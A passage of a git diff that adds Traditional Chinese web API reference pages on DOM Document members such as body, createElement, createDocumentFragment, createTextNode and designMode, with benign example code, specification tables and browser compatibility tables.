+   </tr>
+   <tr>
+    <td><code>expandEntityReferences</code> {{obsolete_inline}}</td>
+    <td>1.0</td>
+    <td>{{CompatGeckoDesktop("1.8.1")}}<br>
+     Removed in {{CompatGeckoDesktop("12")}}</td>
+    <td>9.0</td>
+    <td>9.0</td>
+    <td>3.0</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.8.1")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>9.0</td>
+    <td>3.0</td>
+   </tr>
+   <tr>
+    <td><code>whatToShow</code> and <code>filter</code> optional</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("12")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>3.0</td>
+   </tr>
+   <tr>
+    <td><code>expandEntityReferences</code> {{obsolete_inline}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.8.1")}}<br>
+     Removed in {{CompatGeckoDesktop("12")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>9.0</td>
+    <td>3.0</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>The interface of the object it creates: {{domxref("TreeWalker")}}.</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ie/ff975302(v=vs.85).aspx" title="http://msdn.microsoft.com/en-us/library/ie/ff975302(v=vs.85).aspx">createTreeWalker on MSDN</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document/body/index.html b/files/zh-tw/web/api/document/body/index.html
new file mode 100644
index 0000000000..a33d2a7901
--- /dev/null
+++ b/files/zh-tw/web/api/document/body/index.html
@@ -0,0 +1,128 @@
+---
+title: Document.body
+slug: Web/API/Document/body
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>回傳目前文件的 {{HTMLElement("body")}} 或 {{HTMLElement("frameset")}} 節點，如元素不存在則回傳 <code>null</code>。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>var objRef</em> = document.body;
+document.body = <em>objRef;</em></pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush:js">// in HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p><code>document.body</code> is the element that contains the content for the document. In documents with <code>&lt;body&gt;</code> contents, returns the <code>&lt;body&gt;</code> element, and in frameset documents, this returns the outermost <code>&lt;frameset&gt;</code> element.</p>
+
+<p>Though <code>body</code> is settable, setting a new body on a document will effectively remove all the current children of the existing <code>&lt;body&gt;</code> element.</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2</td>
+   <td>6</td>
+   <td>9.6 (possibly earlier)</td>
+   <td>4 (possibly earlier)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5 (probably earlier)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("document.head")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/createdocumentfragment/index.html b/files/zh-tw/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..efdd4c31e6
--- /dev/null
+++ b/files/zh-tw/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,136 @@
+---
+title: Document.createDocumentFragment()
+slug: Web/API/Document/createDocumentFragment
+tags:
+  - API
+  - DOM
+  - 參考
+  - 文本片段
+  - 方法
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>建立新的 {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <var>fragment</var> = document.createDocumentFragment();
+</pre>
+
+<p><code>fragment </code>是 {{domxref("DocumentFragment")}} 的一個參考物件。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>DocumentFragment</code>s 是 DOM 節點(Nodes)。他們不會成為 DOM主幹的一部份。最常見的作法是先建立文本片段 (document fragment)，然後將元素 (element) 加入文本片段中，最後再將文本片段加入 DOM 樹中。在 DOM 樹中，文本片段將會被他所有的子元素取代。</p>
+
+<p>正因為文本片段是存在<strong>記憶體</strong>中，並且不是 DOM 主幹的一部分，增加子元素並不會導致網頁重刷 (<a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a>)(重新計算元素的位置和幾何)。因此採用文本片段通常會有比較好的效能表現 (<a href="http://ejohn.org/blog/dom-documentfragments/">better performance</a>)。</p>
+
+<h2 id="舉例">舉例</h2>
+
+<p>這個例子中用清單來呈現主流瀏覽器。</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul id="ul"&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var element  = document.getElementById('ul'); // assuming ul exists
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
+element.appendChild(fragment);
+</pre>
+
+<h3 id="結果">結果</h3>
+
+<p>在 <a href="https://jsfiddle.net/a0nn690f/">jsfiddle </a>上看範例結果。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition in the DOM 1 specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特色</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基礎支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特色</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基礎支援</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="更多參考">更多參考</h2>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/createelement/index.html b/files/zh-tw/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..2d847004cc
--- /dev/null
+++ b/files/zh-tw/web/api/document/createelement/index.html
@@ -0,0 +1,179 @@
+---
+title: Document.createElement()
+slug: Web/API/Document/createElement
+translation_of: Web/API/Document/createElement
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>於 <a href="/en-US/docs/Web/HTML">HTML</a> 文件中，<strong><code>Document.createElement()</code></strong> 方法可以依指定的標籤名稱（<code>tagName</code>）建立 HTML 元素，或是在未定義標籤名稱下建立一個 {{domxref("HTMLUnknownElement")}}。在 <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a> 文件中，<code>Document.createElement()</code> 將會建立指定的 XUL 元素。而在其它文件，則會建立一個 namespace URI 為 <code>null</code> 的元素。</p>
+
+<p>若要明確指定元素的 namespace URI，請使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElementNS" title="Creates an element with the specified namespace URI and qualified name."><code>document.createElementNS()</code></a>。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js"><var>var <em>element</em></var> = <var>document</var>.createElement(<em><var>tagName[, options]</var></em>);
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>tagName</code></dt>
+ <dd>一個指定類型給所創建的元素的字串。{{domxref("Node.nodeName", "nodeName")}} 創建的元素由 <code>tagName</code> 的值初始，不要使用吻合名稱（例如 "html:a"）。當該方法在 HTML 文件中被調用時，<code>createElement()</code> 會先將 <code>tagName</code> 轉化為小寫後再創建元素。在 Firefox、Opera 和 Chrome，<code>createElement(null)</code> 與 <code>createElement("null")</code> 作用相同。</dd>
+ <dt><code>options</code>{{optional_inline}}</dt>
+ <dd>選擇性 <code>ElementCreationOptions</code> 物件包含一個屬性 <code>is</code>，它的值是先前使用<code>customElements.define()</code> 所定義的自定義元素的標籤名稱。為了與以前的 <a href="https://www.w3.org/TR/custom-elements/">自定義元素規範</a> 相容，一些瀏覽器將允許你在此傳遞一個字串而非物件，其字串的值就是自定義元件的標籤名稱。了解更多訊息以及如何使用此參數，可以參閱 <a href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">擴展原生 HTML 元素</a> 。</dd>
+ <dd>新元素將被賦予一個 <code>is</code> 屬性，其值就是自定義元素的標籤名稱。自定義元素算是實驗中的功能，因此目前只作用於部分瀏覽器中。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Element" title="The Element interface represents an object of a Document. This interface describes methods and properties common to all kinds of elements. Specific behaviors are described in interfaces which inherit from Element but add additional functionality."><code>Element</code></a>.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>這邊創建一個新的 <code>&lt;div&gt;</code> ，並將它插入到 ID <code>div1</code> 之前。</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;||Working with elements||&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div id="div1"&gt;The text above has been created dynamically.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="JavaScript"><span style="line-height: normal;">JavaScript</span></h3>
+
+<pre class="brush:js">document.body.onload = addElement;
+
+function addElement () {
+  // create a new div element
+  // and give it some content
+  var newDiv = document.createElement("div");
+  var newContent = document.createTextNode("Hi there and greetings!");
+  newDiv.appendChild(newContent); //add the text node to the newly created div.
+
+  // add the newly created element and its content into the DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 500, 50)}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1][2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>options</code> argument</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}<sup>[4][5]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>options</code> argument</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Gecko 22.0 {{geckoRelease("22.0")}} <code>createElement()</code> no longer uses the {{domxref("HTMLSpanElement")}} interface when the argument is "bgsounds", "multicol", or "image".  Instead, <code>HTMLUnknownElement</code> is used for "bgsound" and "multicol" and {{domxref("HTMLElement")}} <code>HTMLElement</code> is used for "image".</p>
+
+<p>[2] The Gecko implementation of <code>createElement</code> doesn't conform to the DOM spec for XUL and XHTML documents: <code>localName</code> and <code>namespaceURI</code> are not set to <code>null</code> on the created element. See {{ Bug(280692) }} for details.</p>
+
+<p>[3] In previous versions of the specification, this argument was just a string whose value was the custom element's tag name. For example: <code>document.createElement("button", "custom-button")</code> rather than <code>document.createElement("button", {id: "custom-button"})</code>. For the sake of backwards compatibility, Chrome accepts both forms.</p>
+
+<p>[4] See [3] above: like Chrome, Firefox accepts a string instead of an object here, but only from version 51 onwards. In version 50,  <code>options</code> must be an object.</p>
+
+<p>[5] To experiment with custom elements in Firefox, you must set the <code>dom.webcomponents.enabled</code> and <code>dom.webcomponents.customelements.enabled</code> preferences to <code>true</code>.</p>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/createrange/index.html b/files/zh-tw/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..93703c54bb
--- /dev/null
+++ b/files/zh-tw/web/api/document/createrange/index.html
@@ -0,0 +1,33 @@
+---
+title: Document.createRange()
+slug: Web/API/Document/createRange
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>回傳一 {{domxref("Range")}} 物件。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">range = document.createRange();
+</pre>
+
+<p><code>創造 range</code> 為 {{domxref("Range")}} 物件.</p>
+
+<h2 id="Example" name="Example">示例</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h2 id="Notes" name="Notes">註意</h2>
+
+<p>當  <code>Range</code> 被創建之後，必須先設定其範圍初始點及結束點， 才能使用大部分 {{domxref("Range")}} 所提供的方法。</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document/createtextnode/index.html b/files/zh-tw/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..80d3d562b9
--- /dev/null
+++ b/files/zh-tw/web/api/document/createtextnode/index.html
@@ -0,0 +1,120 @@
+---
+title: Document.createTextNode()
+slug: Web/API/Document/createTextNode
+translation_of: Web/API/Document/createTextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>創建一個新的文字節點.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>var text</var> = document.createTextNode(<var>data</var>);
+</pre>
+
+<ul>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">文字屬於一個文字節點</font>.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">將含有數據的串加入文字節點中</font>.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode example&lt;/title&gt;
+&lt;script&gt;
+function addTextNode(text) {
+  var newtext = document.createTextNode(text),
+      p1 = document.getElementById("p1");
+
+  p1.appendChild(newtext);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;button onclick="addTextNode('YES! ');"&gt;YES!&lt;/button&gt;
+  &lt;button onclick="addTextNode('NO! ');"&gt;NO!&lt;/button&gt;
+  &lt;button onclick="addTextNode('WE CAN! ');"&gt;WE CAN!&lt;/button&gt;
+
+  &lt;hr /&gt;
+
+  &lt;p id="p1"&gt;First line of paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/document/defaultview/index.html b/files/zh-tw/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..58905ebdeb
--- /dev/null
+++ b/files/zh-tw/web/api/document/defaultview/index.html
@@ -0,0 +1,94 @@
+---
+title: Document.defaultView
+slug: Web/API/Document/defaultView
+translation_of: Web/API/Document/defaultView
+---
+<div>{{ApiRef}}</div>
+
+<p>在瀏覽器中，<strong><code>document.defaultView</code></strong> 屬性會指向一個目前 {{Glossary("Browsing_context", "document")}} 所屬的 {{domxref("Window", "window")}} 物件，若無則為 <code>null</code>。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <var>win</var> = document.defaultView;</pre>
+
+<p>此為唯讀屬性。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("9.0")}}</td>
+   <td>0.10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/document/designmode/index.html b/files/zh-tw/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..9f04db7952
--- /dev/null
+++ b/files/zh-tw/web/api/document/designmode/index.html
@@ -0,0 +1,114 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - NeedsBrowserCompatibility
+  - Property
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">概要</h2>
+
+<p><code>document.designMode</code> 控制整個文件是否能夠編輯。可用的數值是 <code>"on"</code> 和 <code>"off"</code>。根據規範，這個屬性預設值為 <code>"off"</code>。Firefox 遵從這個標準。較早以前的 Chrome 和 IE 預設值是 <code>"inherit"</code>。從 Chrome 43 起，預設值是 「<code>off</code>」；不再支援「<code>inherit</code>」。在 IE6-10 中，數值為大寫英文字母。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var mode = document.designMode;
+document.designMode = "on";
+document.designMode = "off";</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p>讓 {{HTMLElement("iframe")}} 的文件可以給使用者編輯：</p>
+
+<pre>iframeNode.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性" style="font-size: 2.14285714285714rem;">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">功能</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Edge</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">功能</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Android Webview</th>
+   <th style="line-height: 16px;">Edge</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
